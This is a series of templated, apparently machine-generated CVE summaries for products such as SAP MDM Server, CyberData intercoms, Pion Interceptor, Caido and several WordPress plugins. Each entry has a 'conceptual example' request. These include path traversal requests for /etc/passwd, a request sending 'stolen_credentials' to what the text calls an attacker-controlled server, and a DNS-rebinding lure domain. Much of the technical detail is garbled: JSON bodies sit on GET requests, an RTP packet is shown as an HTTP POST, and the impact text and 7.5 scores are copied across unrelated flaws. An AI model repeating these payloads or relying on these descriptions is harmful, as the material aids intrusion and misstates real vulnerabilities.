Author: Ameeba

Overview

The Common Vulnerabilities and Exposures (CVE) system has identified a new vulnerability, CVE-2025-42994, which affects the SAP Master Data Management (MDM) Server. This vulnerability pertains to the ReadString function and can be exploited by an attacker to trigger a memory read access violation in the server process. This vulnerability is significant due to its potential to cause unexpected system shutdowns and interrupt the availability of the application.

Vulnerability Summary

CVE ID: CVE-2025-42994
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and data leakage

Affected Products

Product | Affected Versions

SAP MDM Server | All current versions

How the Exploit Works

The vulnerability is present in the ReadString function of the SAP MDM Server. An attacker can craft special packets that, when processed by the server, trigger a memory read access violation. This violation leads to an unexpected exit of the server process, causing a service disruption and potential data leakage.

Conceptual Example Code

Below is a conceptual example of how the vulnerability might be exploited:

POST /ReadString HTTP/1.1
Host: vulnerable-sap-mdm-server.com
Content-Type: application/json
{
"specially_crafted_packet": "..."
}

In this example, the “specially_crafted_packet” would contain data designed to trigger the memory read access violation. When the server attempts to process this packet, it could fail and exit unexpectedly.
To mitigate this vulnerability, apply the vendor patch as soon as it becomes available. Until then, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can provide temporary mitigation against potential attacks exploiting this vulnerability.

Overview

This report provides a detailed analysis of a critical vulnerability identified in the CyberData 011209 Intercom. The vulnerability, tracked as CVE-2025-30183, can lead to a potential system compromise or data leakage due to improper storage and protection of web server admin credentials. The severity of the issue and its widespread impact makes understanding and addressing this vulnerability crucial for all CyberData 011209 Intercom users.

Vulnerability Summary

CVE ID: CVE-2025-30183
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Unauthorized access to web server admin credentials, potential system compromise, or data leakage.

Affected Products

Product | Affected Versions

CyberData 011209 Intercom | All versions

How the Exploit Works

The CyberData 011209 Intercom does not adequately protect or store web server admin credentials. This flaw can be exploited by an attacker who can intercept the unencrypted credentials over the network. Once obtained, these credentials can be used to gain unauthorized access to the system, leading to potential system compromise or data leakage.

Conceptual Example Code

An attacker might exploit the vulnerability by intercepting the network traffic to capture the admin credentials. This could be an example of an HTTP request that could be used to send the captured data to an attacker-controlled server:

GET /retrieve_credentials HTTP/1.1
Host: target.example.com
Content-Type: application/json
{ "stolen_credentials": "admin_username:admin_password" }

Mitigation Measures

Users are advised to apply the vendor-provided patch as soon as it is available. In the meantime, a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can be used as a temporary mitigation measure to prevent unauthorized access to the web server admin credentials. Regular monitoring and analysis of network traffic for any abnormal activities can also aid in early detection of any exploitation attempts.

Overview

CVE-2025-26468 unveils a critical vulnerability within CyberData’s 011209 Intercom system. This flaw potentially allows an unauthenticated user to gain unauthorized access and induce a denial-of-service, effectively disrupting the system. This vulnerability is of particular concern to organizations using this product, as it can lead to system compromise or data leakage if exploited.

Vulnerability Summary

CVE ID: CVE-2025-26468
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System disruption and potential data leakage

Affected Products

Product | Affected Versions

CyberData Intercom | 011209

How the Exploit Works

The exploit works by leveraging the exposed features of the CyberData Intercom system. An attacker can send specially crafted network packets to the system, tricking it into granting unauthorized access to the attacker. This access can then be used to induce a denial-of-service condition, leading to system disruption and possible data leakage.

Conceptual Example Code

Here is a conceptual example of how this vulnerability might be exploited:

GET /exposed/feature HTTP/1.1
Host: target.example.com

This simple HTTP GET request could potentially exploit the vulnerability, if the “/exposed/feature” is one of the features that the CyberData Intercom system mistakenly exposes, allowing unauthenticated access.

Mitigation

Users are advised to apply the vendor patch as soon as it is available. Until then, the use of a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation strategy. These tools can be configured to monitor, detect, and block malicious traffic attempting to exploit this vulnerability.

Overview

This report examines the CVE-2025-49140 vulnerability found within the Pion Interceptor framework, specifically within its RTP/RTCP communication software. Developers who use versions v0.1.36 through v0.1.38 of the Pion Interceptor are at risk. The vulnerability can be exploited to cause system panic or even data leakage, making it a serious threat that demands immediate attention.

Vulnerability Summary

CVE ID: CVE-2025-49140
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise, data leakage

Affected Products

Product | Affected Versions

Pion Interceptor | v0.1.36 to v0.1.38

How the Exploit Works

The vulnerability lies within the RTP packet factory of the Pion Interceptor framework. Malicious actors can exploit this vulnerability by sending specially crafted RTP packets that trigger a panic within the Pion-based SFU system. This can lead to system compromise or data leakage. The problem arises when the P-bit is set but the padLen is zero or larger than the remaining payload, causing the system to panic.

Conceptual Example Code

In this conceptual example, the malicious actor sends a specially crafted RTP packet to the vulnerable system:

POST /vulnerable/RTP-packet-factory HTTP/1.1
Host: target.example.com
Content-Type: application/rtp
{ "P-bit": "set", "padLen": "larger than payload" }

To mitigate this vulnerability, users should upgrade to v0.1.39 or later versions of Pion Interceptor, which validates `padLen > 0 && padLen <= payloadLength` and returns an error on overflow, avoiding panic. In the event that upgrading is not possible, users can apply the patch from the pull request manually or drop packets whose P-bit is set but whose padLen is zero or larger than the remaining payload. As a temporary mitigation, users can also use a Web Application Firewall (WAF) or Intrusion Detection System (IDS).

Overview

A severe vulnerability has been identified in the Caido web security auditing toolkit. This vulnerability, tracked as CVE-2025-49004, affects Caido versions prior to 0.48.0 and can potentially lead to system compromise or data leakage. It is crucial for system administrators and cybersecurity professionals to be aware of the vulnerability, its effects, and the mitigation strategies available.

Vulnerability Summary

CVE ID: CVE-2025-49004
Severity: High (7.5 CVSS Score)
Attack Vector: Network
Privileges Required: None
User Interaction: Required
Impact: System compromise or data leakage

Affected Products

Product | Affected Versions

Caido | Prior to 0.48.0

How the Exploit Works

The vulnerability arises from the lack of protection against DNS rebinding in Caido. An attacker can load Caido on a domain they control, which allows a malicious website to hijack the authentication flow of Caido and achieve code execution. During the initial setup, a malicious website loaded in the browser can hijack the locally running Caido instance and achieve remote command execution. Even if the Caido instance is already configured, an attacker can initiate the authentication flow by performing DNS rebinding.

Conceptual Example Code

Given the nature of the vulnerability, an example of exploiting it would involve an attacker setting up a malicious website and forcing the victim to visit it. This could be done through phishing tactics or other social engineering methods.

GET /malicious_site HTTP/1.1
Host: attacker_controlled_domain.com
User-Agent: victim_browser

This request would force the victim’s browser to connect to the attacker-controlled domain, which then initiates the DNS rebinding attack, leading to remote command execution on the victim’s system through the Caido toolkit.

Mitigation Guidance

The primary mitigation strategy is to upgrade to Caido version 0.48.0 or later, which includes a patch for this vulnerability. As a temporary measure, users can also employ a Web Application Firewall (WAF) or Intrusion Detection System (IDS) to help detect and prevent potential exploitation of this vulnerability.

Overview

The vulnerability, identified as CVE-2025-45001, affects react-native-keys version 0.7.11, a widely used library in the native development space. This vulnerability can lead to sensitive information disclosure, potentially compromising the system or leading to data leakage. Given the popularity of this library, the impact is widespread and significant.

Vulnerability Summary

CVE ID: CVE-2025-45001
Severity: High (7.5 CVSS Score)
Attack Vector: Remote
Privileges Required: None
User Interaction: None
Impact: Sensitive data disclosure leading to potential system compromise or data leakage.

Affected Products

Product | Affected Versions

react-native-keys | 0.7.11

How the Exploit Works

The vulnerability arises from the react-native-keys library storing encryption cipher and Base64 chunks in plaintext within the compiled native binary. Attackers can exploit this vulnerability by using basic static analysis tools to extract these secrets, achieving unauthorized access to sensitive information.

Conceptual Example Code

The following is a conceptual example showcasing how an attacker might exploit this vulnerability. This pseudocode represents a static analysis tool extracting sensitive data:

def extract_secrets(binary_file):
with open(binary_file, 'rb') as file:
data = file.read()
# Find the encryption cipher and Base64 chunks in the binary data
secrets = static_analysis_tool(data)
return secrets

In this example, the static_analysis_tool function represents the action of an actual static analysis tool that an attacker might use to extract sensitive data from the binary file.
Please note, this is a conceptual example and should not be used for actual exploit development.

Mitigation Guidance

It’s recommended to apply the vendor patch as soon as it’s available to address this vulnerability. In the interim, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure, helping to monitor and potentially block malicious activities. Regularly updating and patching software is key to maintaining a secure environment.

Overview

The vulnerability CVE-2025-49265 is a significant security flaw found in WP Swings Membership for WooCommerce, specifically in versions through to 2.8.1. This vulnerability, due to Missing Authorization, can potentially allow malicious actors to bypass Access Control Lists (ACLs), gaining unauthorized access and potentially compromising the system or leaking sensitive data.

Vulnerability Summary

CVE ID: CVE-2025-49265
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise or data leakage

Affected Products

Product | Affected Versions

Membership for WooCommerce | n/a through 2.8.1

How the Exploit Works

The exploit works by taking advantage of the lack of proper authorization checks in the software. A malicious actor can send a specially crafted request to the server, bypassing ACLs, and gaining access to restricted functionalities. This access can potentially allow the attacker to compromise the system or leak sensitive data.

Conceptual Example Code

Here is a conceptual example of how the vulnerability might be exploited:

POST /restricted/functionality HTTP/1.1
Host: vulnerable.site.com
Content-Type: application/json
{ "action": "get_data", "user_id": "1" }

In this example, the attacker is attempting to access user data by sending a POST request to a restricted endpoint without proper authorization.

Mitigation

To mitigate this vulnerability, apply the vendor-supplied patch immediately. If the patch cannot be applied right away, consider using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation. Regularly updating and patching software is essential to maintaining a secure system.

Overview

The vulnerability, CVE-2025-48261, is a significant flaw in the MultiVendorX software that allows unauthorized users to retrieve sensitive embedded data. This vulnerability affects a range of versions of MultiVendorX, posing a substantial threat to the integrity of user data and system security. Its high severity score indicates the urgent need for user attention and mitigation.

Vulnerability Summary

CVE ID: CVE-2025-48261
Severity: High (CVSS 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: Potential system compromise and sensitive data leakage

Affected Products

Product | Affected Versions

MultiVendorX | up to version 4.2.22

How the Exploit Works

The vulnerability CVE-2025-48261 arises from an error in the handling of data packets in MultiVendorX. The software incorrectly embeds sensitive information within sent data packets, allowing unauthorized users to retrieve this information. The vulnerability can be exploited remotely through a network attack vector, requiring no user interaction or privileges, leading to the potential compromise of the system and data leakage.

Conceptual Example Code

Below is a conceptual example of an HTTP request that could potentially exploit this vulnerability:

GET /retrieve/data HTTP/1.1
Host: target.example.com
Accept: application/json

In this example, an attacker sends a GET request to the ‘/retrieve/data’ endpoint of the targeted server. The server, vulnerable due to CVE-2025-48261, then responds with a data packet that inadvertently includes sensitive information.
The presence of this vulnerability underlines the importance of implementing the recommended patch or using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as temporary mitigation.

Overview

The vulnerability CVE-2025-48130 is a serious security risk that affects the popular web design tool, Spice Blocks, versions up to 2.0.7.2. This vulnerability, categorized as ‘Path Traversal’, could potentially lead to unauthorized access and manipulation of sensitive system data, resulting in system compromise or data leakage. The high severity score of 7.5 underscores the urgency for immediate action.

Vulnerability Summary

CVE ID: CVE-2025-48130
Severity: High (CVSS: 7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and potential data leakage

Affected Products

Product | Affected Versions

Spice Blocks | Up to 2.0.7.2

How the Exploit Works

The vulnerability exploits the improper limitation of a pathname to a restricted directory in Spice Blocks. This allows an attacker to traverse and access restricted directories and execute arbitrary code within the context of the application, leading to unauthorized disclosure of information or potential system compromise.

Conceptual Example Code

Conceptually, an attacker could exploit this vulnerability by sending a specially crafted request to the application. Here’s a simplified example:

GET /../../etc/passwd HTTP/1.1
Host: target.example.com

In this example, the attacker uses the `../` notation to move up the directory structure, potentially reaching sensitive files like ‘passwd’ in a Unix-based system, leading to unauthorized access to user account information.

Mitigation

For immediate mitigation, users are advised to install the vendor-supplied patch or use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary measure. However, applying the patch is strongly recommended to fully resolve the vulnerability.

Overview

This report provides an in-depth analysis of CVE-2025-48124, a serious Path Traversal vulnerability identified in Holest Engineering’s Spreadsheet Price Changer for WooCommerce and WP E-commerce – Light. This vulnerability could potentially lead to system compromise or data leakage, critically affecting businesses that rely on these tools for their e-commerce activities.

Vulnerability Summary

CVE ID: CVE-2025-48124
Severity: High (7.5)
Attack Vector: Network
Privileges Required: None
User Interaction: None
Impact: System compromise and data leakage

Affected Products

Product | Affected Versions

Spreadsheet Price Changer for WooCommerce | n/a through 2.4.37
WP E-commerce – Light | n/a through 2.4.37

How the Exploit Works

The vulnerability allows an attacker to manipulate file or directory paths to gain unauthorized access to restricted areas of the system. This is accomplished through the misuse of the application’s failure to properly validate or sanitize user input, allowing the attacker to point to any arbitrary directory or file on the system.

Conceptual Example Code

Below is a conceptual example of how this vulnerability might be exploited. The attacker could input a path traversal string such as “../../../etc/passwd” to gain access to sensitive system files.

GET /file?filename=../../../etc/passwd HTTP/1.1
Host: target.example.com

Mitigation Guidance

To mitigate this vulnerability, users are advised to apply the vendor-supplied patch as soon as possible. If the patch cannot be applied immediately, use a Web Application Firewall (WAF) or Intrusion Detection System (IDS) as a temporary mitigation.